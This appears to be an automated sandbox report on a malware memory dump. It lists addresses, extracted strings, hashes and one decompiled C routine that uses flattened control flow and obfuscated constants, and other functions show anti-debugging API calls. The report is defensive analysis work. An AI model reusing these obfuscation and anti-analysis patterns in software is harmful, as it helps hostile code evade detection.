0x00fa9412
0x00fa941a
0x00fa9422
0x00fa942a
0x00fa9432
0x00fa9440
0x00fa9444
0x00fa944c
0x00fa9454
0x00fa945e
0x00fa946c
0x00fa9471
0x00fa9477
0x00fa9484
0x00fa9491
0x00fa9499
0x00fa949e
0x00fa94a6
0x00fa94ae
0x00fa94b6
0x00fa94be
0x00fa94c6
0x00fa94ce
0x00fa94d7
0x00fa94dc
0x00fa94e2
0x00fa94ea
0x00fa94f2
0x00fa94fa
0x00fa9503
0x00fa9508
0x00fa950e
0x00fa9516
0x00fa951e
0x00fa952a
0x00fa952f
0x00fa9535
0x00fa953d
0x00fa9545
0x00fa954d
0x00fa9555
0x00fa955d
0x00fa9565
0x00fa956d
0x00fa9575
0x00fa957d
0x00fa9585
0x00fa958d
0x00fa9599
0x00fa959c
0x00fa95a0
0x00fa95a8
0x00fa95b0
0x00fa95b0
0x00fa95be
0x00fa9690
0x00fa9695
0x00fa9698
0x00000000
0x00fa95c4
0x00fa95c6
0x00fa960a
0x00fa9613
0x00fa961b
0x00fa9621
0x00fa964f
0x00fa9666
0x00fa966b
0x00fa966e
0x00000000
0x00fa95c8
0x00fa95ce
0x00fa95e0
0x00fa95ef
0x00fa95fe
0x00fa9600
0x00fa9603
0x00000000
0x00fa95d0
0x00fa95d6
0x00fa95dc
0x00000000
0x00fa95dc
0x00fa95d6
0x00fa95ce
0x00fa95c6
0x00000000
0x00fa95be
0x00fa96ac
0x00fa96b2
0x00fa96b7
0x00fa96b7
0x00fa96b7
0x00fa96cf

Strings

V<5, xrefs: 00FA933A
}n, xrefs: 00FA9477
:9, xrefs: 00FA93B8
xDv, xrefs: 00FA9585
jML, xrefs: 00FA94AE
4, xrefs: 00FA93D8

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 4$:9$V<5$jML$xDv$}n
API String ID: 0-3443733993
Opcode ID: 5c247b65792709c76461427e6b8f0e749d23a312a205e0bd03c1e001bb17299f
Instruction ID: eb8b8f447a2ce79e2e09451eba67b773593240be2990441e580fb423768f36f4
Opcode Fuzzy Hash: 5c247b65792709c76461427e6b8f0e749d23a312a205e0bd03c1e001bb17299f
Instruction Fuzzy Hash: 47A176B250C3419FC354CF26C88944BBBE1FBC4368F148A1DF2954A260D7B5C94ACF86

Uniqueness

Uniqueness Score: -1.00%

Function 00FAB191, Relevance: 7.6, Strings: 6, Instructions: 121
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E00FAB191(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				void* _t87;
				intOrPtr _t102;
				signed int _t103;
				void* _t106;
				void* _t115;
				intOrPtr _t116;
				void* _t118;
				void* _t119;

				_push(_a12);
				_t115 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00FA358A(_t87);
				_v16 = 0x72b2bc;
				_t116 = 0;
				_v12 = 0x705e77;
				_t119 = _t118 + 0x14;
				_v8 = 0xd14ec7;
				_v4 = 0;
				_t106 = 0xfb323eb;
				_v20 = 0xe3d97e;
				_v20 = _v20 + 0xa7af;
				_v20 = _v20 ^ 0x00ee512d;
				_v24 = 0x168632;
				_v24 = _v24 + 0xe123;
				_v24 = _v24 ^ 0x0013eb0e;
				_v52 = 0x2e6341;
				_v52 = _v52 + 0x6d01;
				_v52 = _v52 ^ 0x28be2519;
				_v52 = _v52 >> 6;
				_v52 = _v52 ^ 0x00a7ba25;
				_v28 = 0xa881c2;
				_t103 = 0x39;
				_v28 = _v28 / _t103;
				_v28 = _v28 ^ 0x0004b18f;
				_v36 = 0x75efe3;
				_v36 = _v36 + 0xffff14c9;
				_v36 = _v36 * 0x52;
				_v36 = _v36 ^ 0x257d5f4a;
				_v44 = 0xecaef1;
				_v44 = _v44 | 0xcde27ad1;
				_v44 = _v44 >> 4;
				_v44 = _v44 ^ 0x0cdc2a09;
				_v48 = 0x721bd8;
				_v48 = _v48 + 0x9e1e;
				_v48 = _v48 ^ 0xc9ddf5a6;
				_v48 = _v48 + 0x9d39;
				_v48 = _v48 ^ 0xc9a9f81f;
				_v40 = 0x4c90da;
				_v40 = _v40 ^ 0xc1c5c1e6;
				_v40 = _v40 + 0x4b08;
				_v40 = _v40 << 0xf;
				_v40 = _v40 ^ 0xce2bca86;
				_v32 = 0x49392c;
				_v32 = _v32 | 0xf96d8842;
				_v32 = _v32 >> 6;
				_v32 = _v32 ^ 0x03e22426;
				do {
					while(_t106 != 0x14f632d) {
						if(_t106 == 0x35d454c) {
							_t116 = E00FB94A1(_v36, _t115, _a12, _v44, _v48);
							_t119 = _t119 + 0xc;
							if(_t116 == 0) {
								_t106 = 0x14f632d;
								continue;
							}
						} else {
							if(_t106 == 0x56d459c) {
								E00FAAE43( *0xfc5208, _v40, _v32);
							} else {
								if(_t106 == 0x61a974e) {
									if(E00FA800A() != 0) {
										_t106 = 0x35d454c;
										continue;
									}
								} else {
									if(_t106 != 0xfb323eb) {
										goto L12;
									} else {
										_push(_t106);
										_push(_t106);
										_t102 = E00FB5212(0x34);
										_t119 = _t119 + 0xc;
										 *0xfc5208 = _t102;
										_t106 = 0x61a974e;
										continue;
									}
								}
							}
						}
						L15:
						return _t116;
					}
					E00FA7D63();
					_t106 = 0x56d459c;
					L12:
				} while (_t106 != 0x6f91342);
				goto L15;
			}

0x00fab198
0x00fab19c
0x00fab19e
0x00fab1a2
0x00fab1a6
0x00fab1a7
0x00fab1a8
0x00fab1ad
0x00fab1b5
0x00fab1b7
0x00fab1bf
0x00fab1c2
0x00fab1cc
0x00fab1d0
0x00fab1d5
0x00fab1e2
0x00fab1ea
0x00fab1f2
0x00fab1fa
0x00fab202
0x00fab20a
0x00fab212
0x00fab21a
0x00fab222
0x00fab227
0x00fab22f
0x00fab23d
0x00fab245
0x00fab249
0x00fab251
0x00fab259
0x00fab266
0x00fab26a
0x00fab272
0x00fab282
0x00fab28a
0x00fab28f
0x00fab297
0x00fab29f
0x00fab2a7
0x00fab2af
0x00fab2b7
0x00fab2bf
0x00fab2c7
0x00fab2cf
0x00fab2d7
0x00fab2dc
0x00fab2e4
0x00fab2ec
0x00fab2f4
0x00fab2f9
0x00fab301
0x00fab301
0x00fab307
0x00fab371
0x00fab373
0x00fab378
0x00fab37a
0x00000000
0x00fab37a
0x00fab309
0x00fab30f
0x00fab3a4
0x00fab315
0x00fab31b
0x00fab354
0x00fab356
0x00000000
0x00fab356
0x00fab31d
0x00fab323
0x00000000
0x00fab325
0x00fab335
0x00fab336
0x00fab339
0x00fab33e
0x00fab341
0x00fab346
0x00000000
0x00fab346
0x00fab323
0x00fab31b
0x00fab30f
0x00fab3ab
0x00fab3b3
0x00fab3b3
0x00fab37e
0x00fab383
0x00fab388
0x00fab388
0x00000000

Strings

J_}%, xrefs: 00FAB26A
-Q, xrefs: 00FAB331
,9I, xrefs: 00FAB2E4
w^p, xrefs: 00FAB1B7
Ac., xrefs: 00FAB20A
#, xrefs: 00FAB1FA

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: #$,9I$-Q$Ac.$J_}%$w^p
API String ID: 0-1558224833
Opcode ID: 5914080dca6d1db8d8a3184443b80bbe88b74c518b018cb45b2181ec8823f51d
Instruction ID: fe75c868a1b25ea7b9c5faa34a28f39e37a004128c1e9483636ba1cfc9f94689
Opcode Fuzzy Hash: 5914080dca6d1db8d8a3184443b80bbe88b74c518b018cb45b2181ec8823f51d
Instruction Fuzzy Hash: 965175B29093018FCB58CF61D98941FBBE0FBD8718F004A1DF58556221D7B58A09DF87

Uniqueness

Uniqueness Score: -1.00%

Function 00FB009A, Relevance: 6.6, Strings: 5, Instructions: 367COMMON

Download Yara Rule

Strings

R, xrefs: 00FB0487
g_, xrefs: 00FB03C9
s<`, xrefs: 00FB00F7
&<i", xrefs: 00FB044F
U , xrefs: 00FB034F

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &<i"$R$U $g_$s<`
API String ID: 0-3547921069
Opcode ID: 51c9024233fb37494a1f4a58566f91d22f7450922052c99353f7a885029f0846
Instruction ID: ab00b88665ed698ba9a7c8a0ffa2014f64055a70285c6c5f66712b9c6ab0525c
Opcode Fuzzy Hash: 51c9024233fb37494a1f4a58566f91d22f7450922052c99353f7a885029f0846
Instruction Fuzzy Hash: 2D0253715083809FD368CF26C989A8BFBE1BBC4758F10891DF1DA96260DBB49909DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FBCE90, Relevance: 6.5, Strings: 5, Instructions: 292COMMON

Download Yara Rule

Strings

nK, xrefs: 00FBD1C6
,OT , xrefs: 00FBCFD8
H+, xrefs: 00FBD3B3
H+, xrefs: 00FBCFB1, 00FBCFA2
WQ^, xrefs: 00FBCEC9

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ,OT $H+$H+$WQ^$nK
API String ID: 0-4252230371
Opcode ID: a5fe5e8667607c3904f2fcc5da0a463b206adc3099b6d4507366babf997ec019
Instruction ID: 957d9c95c8fd2436704b54bda854a7f94a2b3b25df376637f167a37eeeb0af10
Opcode Fuzzy Hash: a5fe5e8667607c3904f2fcc5da0a463b206adc3099b6d4507366babf997ec019
Instruction Fuzzy Hash: CEF11171508380DFD3A8CF65C98AA4BFBE2BBC5718F10891DE2D996260D7B58909DF07

Uniqueness

Uniqueness Score: -1.00%

Function 00FAA3E7, Relevance: 6.5, Strings: 5, Instructions: 257COMMON

Download Yara Rule

Strings

\, xrefs: 00FAA425
k^, xrefs: 00FAA5AA
=jk, xrefs: 00FAA4D5
Etp, xrefs: 00FAA74B
Xm;, xrefs: 00FAA43D

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: =jk$Etp$Xm;$\$k^
API String ID: 0-1272230326
Opcode ID: bc4c7ba6909bd956ba644a2b6ccfe66753ec0c45a426d989992f2b55a51ba6d6
Instruction ID: 8de5cef57844139c12064fb1a7f2e70623fe7ad0ac0dd342acef28de1eb9800e
Opcode Fuzzy Hash: bc4c7ba6909bd956ba644a2b6ccfe66753ec0c45a426d989992f2b55a51ba6d6
Instruction Fuzzy Hash: B3C112715083809FD358CF69C88A91BFBE1BBC5764F108A2DF5A696260D3B9C949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FA544C, Relevance: 6.5, Strings: 5, Instructions: 245COMMON

Download Yara Rule

Strings

lS, xrefs: 00FA547D
S\K, xrefs: 00FA55F5
&Q, xrefs: 00FA565D
}xV, xrefs: 00FA56E6
;o, xrefs: 00FA5544

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ;o$S\K$lS$}xV$&Q
API String ID: 0-2347710372
Opcode ID: 7ba6faf81751e7d181cddbaa6714549dd9da5e2b0bf3aaf23382374752cb6569
Instruction ID: 73b0c10ecedfdfc58544a18d3eae3842b2a8859e8b9adb4edf058faa0bc0f94f
Opcode Fuzzy Hash: 7ba6faf81751e7d181cddbaa6714549dd9da5e2b0bf3aaf23382374752cb6569
Instruction Fuzzy Hash: 40C110B11097809FC765CF62C94A91BFBF1BBD5B58F50890CF69586220C3B6C949DF42

Uniqueness

Uniqueness Score: -1.00%

Function 00FB28D5, Relevance: 6.5, Strings: 5, Instructions: 228COMMON

Download Yara Rule

Strings

', xrefs: 00FB29DF
zw, xrefs: 00FB29C0
i, xrefs: 00FB2982
@, xrefs: 00FB2AC6
b9, xrefs: 00FB29FC

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: '$b9$zw$@$i
API String ID: 0-3000951012
Opcode ID: cb58798cb01d8c50ab57fc10789044946fa9731693636bedbab6278c4b45c87a
Instruction ID: 35d8e9c7cb6274fba944cc43a9bc96b5e6e411041a9fba12154d9c4d39297ee4
Opcode Fuzzy Hash: cb58798cb01d8c50ab57fc10789044946fa9731693636bedbab6278c4b45c87a
Instruction Fuzzy Hash: F8A145B25093009FC355CF26C98959FBBE2EBC5B68F04891DF1959A260C3B5CA09DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FB52D1, Relevance: 6.5, Strings: 5, Instructions: 201COMMON

Download Yara Rule

Strings

,Z, xrefs: 00FB55E7
oHg, xrefs: 00FB549B
,Z, xrefs: 00FB5527
Do, xrefs: 00FB5345
}bH, xrefs: 00FB52D4

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ,Z$,Z$Do$oHg$}bH
API String ID: 0-2022688335
Opcode ID: da12440d00792ea2f457b9c6044a61bd37255bac581ff99b45d9cf042e9eb5d2
Instruction ID: cbb97b4150867f3d153add24a9a17fb0d69636e82b314aaeab77a5bf360deb2c
Opcode Fuzzy Hash: da12440d00792ea2f457b9c6044a61bd37255bac581ff99b45d9cf042e9eb5d2
Instruction Fuzzy Hash: A38187716083009BC768DE26C48955FBBF2FBC8768F144A2DF58696260C7B6C949DF83

Uniqueness

Uniqueness Score: -1.00%

Function 00FA8D80, Relevance: 6.4, Strings: 5, Instructions: 147COMMON

Download Yara Rule

Strings

JW, xrefs: 00FA8EDF
+Jn?, xrefs: 00FA8E26
HkRx, xrefs: 00FA8F87
oRz, xrefs: 00FA8F07
1p, xrefs: 00FA8E7C

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: +Jn?$1p$HkRx$JW$oRz
API String ID: 0-927109725
Opcode ID: c6308e6e331cd648b32eccdbb4124084d7b138bd0a20fc68cb967cf0a020626f
Instruction ID: 32ffeecaa63ee7f86ea4b34de3dd13216595e609c86fdd5450e7161c3d80079d
Opcode Fuzzy Hash: c6308e6e331cd648b32eccdbb4124084d7b138bd0a20fc68cb967cf0a020626f
Instruction Fuzzy Hash: DD6145B25083029FC354CF21D88945BBBF2FBC4368F548A1DF5A566260D7B49A4ADF82

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCAB0C, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6EDCAB18
IsDebuggerPresent.KERNEL32 ref: 6EDCABE4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EDCAC04
UnhandledExceptionFilter.KERNEL32(?), ref: 6EDCAC0E

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 02ab12af02d5fcebbd41d60c1c167b5ecc73b4420e2e264ac4e4df72e5c904d9
Instruction ID: 6eed6c862daa1d2345d21b188641273108f19290f4fab54227ea4f3655fe0ae8
Opcode Fuzzy Hash: 02ab12af02d5fcebbd41d60c1c167b5ecc73b4420e2e264ac4e4df72e5c904d9
Instruction Fuzzy Hash: 6D316B79D0121CDBDF11DFA0D989BCCBBB8AF08744F10459AE00DAB240EB759A85CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00FAEE60, Relevance: 5.4, Strings: 4, Instructions: 354COMMON

Download Yara Rule

Strings

#,BW, xrefs: 00FAF16F
TaF_, xrefs: 00FAF11E
,), xrefs: 00FAF00B
Iv5, xrefs: 00FAF15D

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: #,BW$,)$Iv5$TaF_
API String ID: 0-3950248132
Opcode ID: 877f9798c79f77b56890c2161e66feae29bd6b2bf0551b9bd50bfee9fc75c277
Instruction ID: fc7a4ca8342d0e970198b32eae2b0d08f4a413a5cea95b5184507af7a256e048
Opcode Fuzzy Hash: 877f9798c79f77b56890c2161e66feae29bd6b2bf0551b9bd50bfee9fc75c277
Instruction Fuzzy Hash: FF0222B2D0031C9BCF29CFE5D98A6DEBBB1FB44314F208159E516BA260D7B40A89DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00FA6453, Relevance: 5.2, Strings: 4, Instructions: 220COMMON

Download Yara Rule

Strings

_+M, xrefs: 00FA658D
k%|, xrefs: 00FA66A4
JS, xrefs: 00FA6709
Q+L, xrefs: 00FA665F

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: JS$Q+L$_+M$k%|
API String ID: 0-1651988620
Opcode ID: ceb267fd2ebd44106289bfd2a23178b3059612b5fc88a7ea45f8895f0ce870ac
Instruction ID: c2ab3c45460af39c9591a2e73b4dc4e07e293c1b66db61e81fbe56e428664e5a
Opcode Fuzzy Hash: ceb267fd2ebd44106289bfd2a23178b3059612b5fc88a7ea45f8895f0ce870ac
Instruction Fuzzy Hash: 6DA130B15083819FC358CF66C88981BFBE2FB85758F14891DF29696220D7B58A49DF83

Uniqueness

Uniqueness Score: -1.00%

Function 00FA2CC2, Relevance: 5.2, Strings: 4, Instructions: 219COMMON

Download Yara Rule

Strings

!y, xrefs: 00FA2E6C
5v, xrefs: 00FA2DC9
xe, xrefs: 00FA2F1F
Zc5, xrefs: 00FA2D8A

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: !y$Zc5$5v$xe
API String ID: 0-3224497632
Opcode ID: b09f5cd0d864857308b96e52e71b07b7ab590047c35713b6a52464874615d622
Instruction ID: b2fcef34959dd598a4e5f9e743d2b3ddc0ba8765aaf2f44b1fbe9dc34a530b1b
Opcode Fuzzy Hash: b09f5cd0d864857308b96e52e71b07b7ab590047c35713b6a52464874615d622
Instruction Fuzzy Hash: 4FA11EB5A083419FC354CF29D58981BFBF0BBC5758F108A2CF99596220D3B5DA49CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00FB3D0C, Relevance: 5.2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

Strings

e(, xrefs: 00FB3FE6
FPTh, xrefs: 00FB3F5A
Z{{, xrefs: 00FB3DC1
[ob>, xrefs: 00FB3D4D

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: FPTh$Z{{$[ob>$e(
API String ID: 0-1695153795
Opcode ID: d0a5ea18d59b10d06e239e12991f627dfc1e7307d6abf3bb82d0d2bba8ca9960
Instruction ID: 5b6006198f18645b3fe72cf7fe6bae3e6bf31d15d00d6ef360eac3066ac8a85a
Opcode Fuzzy Hash: d0a5ea18d59b10d06e239e12991f627dfc1e7307d6abf3bb82d0d2bba8ca9960
Instruction Fuzzy Hash: E4A135718083419FC758DF29C98985BFBE0BBC4758F004A2DF99997221D3B5DA09DF82

Uniqueness

Uniqueness Score: -1.00%

Function 00FABD61, Relevance: 5.2, Strings: 4, Instructions: 195COMMON

Download Yara Rule

Strings

M0}M, xrefs: 00FABE0E
&J, xrefs: 00FABFA8
n, xrefs: 00FABED5
t, xrefs: 00FABFB0

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &J$M0}M$t$n
API String ID: 0-2598164408
Opcode ID: 93112c13898719dcb0fa725f487b000004003678a4712dd1a04254958555576a
Instruction ID: 9eb7714e6535b7bc2bf4e5bff86dda1c1c576b47fba39f512df212afbe921f69
Opcode Fuzzy Hash: 93112c13898719dcb0fa725f487b000004003678a4712dd1a04254958555576a
Instruction Fuzzy Hash: 3F9112B25083809BD354CE65C949A1BFBF1FBD9758F508A1DF69686220C3B6C948DF82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA43BE, Relevance: 5.2, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

,?Z, xrefs: 00FA43DA
,P, xrefs: 00FA44A1
z\, xrefs: 00FA456C
x&z, xrefs: 00FA4534

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ,?Z$,P$x&z$z\
API String ID: 0-1410888773
Opcode ID: 17635d5d9c2ea99e6c8d47affebd6329b62548ec35397c7043d11d3fed521b3e
Instruction ID: 4e94be4ee0123da61a005275d9c2c7c97a981f1f7bcfddba137f114e8731b7d2
Opcode Fuzzy Hash: 17635d5d9c2ea99e6c8d47affebd6329b62548ec35397c7043d11d3fed521b3e
Instruction Fuzzy Hash: 127194B29083409FD758CF25C88942BFBE2BBC5358F50492DF58696260E7B0EA499F43

Uniqueness

Uniqueness Score: -1.00%

Function 00FAA083, Relevance: 5.1, Strings: 4, Instructions: 149COMMON

Download Yara Rule

Strings

aK, xrefs: 00FAA0DD
8i, xrefs: 00FAA11D
UZ, xrefs: 00FAA15E
wN, xrefs: 00FAA12D

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 8i$UZ$aK$wN
API String ID: 0-333574292
Opcode ID: a6a0b24c383be7939de8cb5fa0a7f320f0c154413070ca55bcd0e1767f045125
Instruction ID: 612ba4fe2d20f68c54f6c8fd2bfe3a9de9cc05db62743ee0b494f9afb4c90e25
Opcode Fuzzy Hash: a6a0b24c383be7939de8cb5fa0a7f320f0c154413070ca55bcd0e1767f045125
Instruction Fuzzy Hash: B95196B11083419FC348CE25D48951FBBE1FBC9768F504A1DF59696260D3B9CA1ADB83

Uniqueness

Uniqueness Score: -1.00%

Function 00FBE3B5, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

Ev, xrefs: 00FBE4B4
uj, xrefs: 00FBE523
!, xrefs: 00FBE498
w0, xrefs: 00FBE4C2

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Ev$uj$w0$!
API String ID: 0-1708426219
Opcode ID: 5864ba131159a790ee0c4a7d45cb427df1b62cd8cbd2f54cf1ffbd95a8b259d2
Instruction ID: 80d7a4c9a0529eaf8fcb207b472130347aaa513bae33438bfbe8562ef06af241
Opcode Fuzzy Hash: 5864ba131159a790ee0c4a7d45cb427df1b62cd8cbd2f54cf1ffbd95a8b259d2
Instruction Fuzzy Hash: 035142B1D00219ABDF48DFE5D80A8EEFBB2FF48304F208059D911B6260D7B95A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00FBDB87, Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

N6\, xrefs: 00FBDC56
R|h7, xrefs: 00FBDCBB
!_, xrefs: 00FBDB9B
W+(, xrefs: 00FBDC44

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: !_$N6\$R|h7$W+(
API String ID: 0-592429890
Opcode ID: 9af5a1060b5e178c32bd44b428cb900cb0a0eef6c7108f695a799fb078e2de6e
Instruction ID: cee8b924874b26a5ce2911685fa8879223dcd1454b7fe6d49ad6b1dfccf6f802
Opcode Fuzzy Hash: 9af5a1060b5e178c32bd44b428cb900cb0a0eef6c7108f695a799fb078e2de6e
Instruction Fuzzy Hash: 58510D71D0121DEBDF08DFA1D88A8EEBFB2FB48304F208059E411BA264D7B95A55DF94

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD0326, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6EDD041E
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6EDD0428
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6EDD0435

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d737eb4783202ec8fd7de81c9759fa53b1c2983b3ff2a8d64889890ca960c8e2
Instruction ID: 7d4f6ba160df6dcf5176ff2e5c6636310279cd0a0b97b8fd42bc45bb27d9287f
Opcode Fuzzy Hash: d737eb4783202ec8fd7de81c9759fa53b1c2983b3ff2a8d64889890ca960c8e2
Instruction Fuzzy Hash: 6C31D17590122CABCB61DF64D988BCCBBB8BF08750F5045EAE41CA7250E7709F858F55

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB9F10, Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

<>()C,, xrefs: 6EDB9FAD
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDB9F76
{recursion limit reached}{invalid syntax}, xrefs: 6EDBA182

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: <>()C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${recursion limit reached}{invalid syntax}
API String ID: 0-2241449410
Opcode ID: ee3e42447181195dccfe44dcd9428ac5da4a139f12994aaea6e387643751e155
Instruction ID: e968b704e6cec793b4651649e1dc1681f3da0192c8aa61ce3e53e5f09067972d
Opcode Fuzzy Hash: ee3e42447181195dccfe44dcd9428ac5da4a139f12994aaea6e387643751e155
Instruction Fuzzy Hash: 4D81DFF07087428FE7A4CFA5C49075AB7E2AF95350F04882DD4EB8B695F735D44A8B12

Uniqueness

Uniqueness Score: -1.00%

Function 00FB85B8, Relevance: 4.0, Strings: 3, Instructions: 224COMMON

Download Yara Rule

Strings

uQY, xrefs: 00FB8856
|&P-, xrefs: 00FB86CE
uQY, xrefs: 00FB8847, 00FB8833

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: uQY$uQY$|&P-
API String ID: 0-2022688025
Opcode ID: 4593b9719d480235e12bcfddb134752bc495572a2774dcd8909cf09e3b8a3218
Instruction ID: db38b69dee7cbda1288086953dba9f64ab8641df8d58dfec52d2352fea7ab17b
Opcode Fuzzy Hash: 4593b9719d480235e12bcfddb134752bc495572a2774dcd8909cf09e3b8a3218
Instruction Fuzzy Hash: 04A142729083419FC758CF25D88A41BFBE2FBC5794F008A1DF5959A260D7B1D90A8F82

Uniqueness

Uniqueness Score: -1.00%

Function 00FB9124, Relevance: 4.0, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

~\, xrefs: 00FB929E
H9, xrefs: 00FB9146
{FQ, xrefs: 00FB915B

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: H9${FQ$~\
API String ID: 0-4294077001
Opcode ID: 6dc99ee14886c765de8187c205a84e16219ca8db519214540246810d04901235
Instruction ID: 8ba3262e86dc0c61ba5fc36a14e0251fdaca7eb40f059468cb9479de88455406
Opcode Fuzzy Hash: 6dc99ee14886c765de8187c205a84e16219ca8db519214540246810d04901235
Instruction Fuzzy Hash: 00B1DE7240038C9BDF59DFA2D94A9CE3BB1FB44388F508119FD2A96260C7B5D959CF80

Uniqueness
